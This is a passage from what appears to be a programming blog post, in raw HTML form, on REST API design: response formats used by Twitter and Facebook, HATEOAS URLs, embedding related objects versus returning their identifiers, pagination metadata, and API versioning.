style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;facebook-style-api&#34;&gt;Facebook style API&lt;/h3&gt;&#xA;&lt;p&gt;On the other hand, on Facebook, the syntax for individual resources looks like this, just like Twitter:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While an answer for multiple resources is like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;:[&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Who to listen to? As you can see there are differences between companies and I don&amp;rsquo;t know if I would dare to tell you that one or the other is correct, but I consider that if you keep constant in each of your endpoints and document it well, you shouldn&amp;rsquo;t have any problems.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;relative-or-full-urls-in-hateoas&#34;&gt;Relative or full URLs in HATEOAS?&lt;/h2&gt;&#xA;&lt;p&gt;Remember that HATEOAS is a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;feature of REST APIs&lt;/a&gt;&#xA;? Well, from what I&amp;rsquo;ve researched, there&amp;rsquo;s no clear consensus or official stance on whether it&amp;rsquo;s better to include relative or full URLs. There is a lot of debate about it on stackoverflow, but microsoft uses full URLs in their responses, take it into account when designing your REST API.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;rel&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;self&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;href&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://adventure-works.com/customers/2&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;objects-nested-in-the-response&#34;&gt;Objects nested in the response&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Generally an API does not return individual resources, but resources that are related to other resources at the database level by one-to-one, many-to-many or one-to-many relationships. The question here is: do we include them in the response even if this increases its size? do we put only the identifiers and download them afterwards? It depends.&lt;/p&gt;&#xA;&lt;h3 id=&#34;identifiers-in-the-response&#34;&gt;Identifiers in the response&lt;/h3&gt;&#xA;&lt;p&gt;This approach to the problem will require that if the user requires access to the information, it is downloaded at a later time. It is ideal for data that is rarely consulted or plentiful.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;posts&amp;#34;&lt;/span&gt;: [{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;comments&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This can bring you the problem of n+1 queries if you don&amp;rsquo;t handle it well; consider the example above, each request to a post implies a new request to the database to get each comment.&lt;/p&gt;&#xA;&lt;p&gt;Of course that can be fixed by optimizing your searches so that, instead of getting them individually, you get them in a single query.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;GET&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;/comments/&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;,&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;resources-in-the-response&#34;&gt;Resources in the response&lt;/h3&gt;&#xA;&lt;p&gt;It is also possible to directly add the related objects in a single response, to avoid having to download them later. This will make each response take a little longer, as the server will process more information, but it can save subsequent requests to the API.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;posts&amp;#34;&lt;/span&gt;:[&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;comments&amp;#34;&lt;/span&gt;:[&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;...&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;...&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;...&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you want flexibility consider creating an endpoint where you can tell your API which resources you want to explicitly nest in the url, so that they are only integrated into the response if they are requested.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /posts/1?embed&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;comments&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;pagination-in-apis&#34;&gt;Pagination in APIs&lt;/h2&gt;&#xA;&lt;p&gt;As I&amp;rsquo;ve already mentioned in previous posts when I talked &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/&#34;&gt;how to scale a django app&lt;/a&gt;&#xA;, you don&amp;rsquo;t always want to return the whole database to your users in each request. For large databases it is best to break the response into pages, with a limited number of items per page.&lt;/p&gt;&#xA;&lt;p&gt;To facilitate the use of your API, consider adding pagination-related information in your response:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The total number of items&lt;/li&gt;&#xA;&lt;li&gt;The number of elements per page&lt;/li&gt;&#xA;&lt;li&gt;The total number of pages&lt;/li&gt;&#xA;&lt;li&gt;The current page&#xA;A url to the previous page (if any) * A url to the next page (if any)&#xA;A url to the next page (if any) * A url to the next page (if any)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;As well as any other information you consider relevant.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;pagination&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;total&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;items_per_page&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;12&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;current_page&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;total_pages&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;next_url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://api.example.com/items?page=2&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;api-versioning&#34;&gt;API Versioning&lt;/h2&gt;&#xA;&lt;p&gt;APIs are not static, they change with business needs, so they can change over time. It is important that the consumers of your API are aware of these changes, so versioning your API is an excellent idea.&lt;/p&gt;&#xA;&lt;h3 id=&#34;should-i-version-my-api&#34;&gt;Should I version my API?&lt;/h3&gt;&#xA;&lt;p&gt;Generally you will want to version your API. However, if your API is extremely simple and its structure is extremely stable, or it works in such a way that changes are added as new endpoints, without modifying the old ones, you could leave it unversioned. If you have doubts about whether your API fits into the above, you should probably version it.&lt;/p&gt;&#xA;&lt;h3 id=&#34;where-to-version-the-api&#34;&gt;Where to version the API?&lt;/h3&gt;&#xA;&lt;p&gt;For an API to adhere to the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST architecture requirements&lt;/a&gt;&#xA; it must meet certain characteristics, but some companies choose to bypass these requirements for their APIs and still call them REST.&lt;/p&gt;&#xA;&lt;p&gt;Here are some options for versioning your APIs used by large companies, regardless of whether they are REST compliant or not.&lt;/p&gt;&#xA;&lt;h3 id=&#34;at-url-level&#34;&gt;At url level&lt;/h3&gt;&#xA;&lt;p&gt;Probably the most popular option of all.&lt;/p&gt;&#xA;&lt;p&gt;Incredibly simple to understand and implement but will cause you problems with clients who store URLs in a database, because with every change you will have to update them. Also, it&amp;rsquo;s hard to separate them on different servers. Technically, &lt;strong&gt;putting the version in the url is not 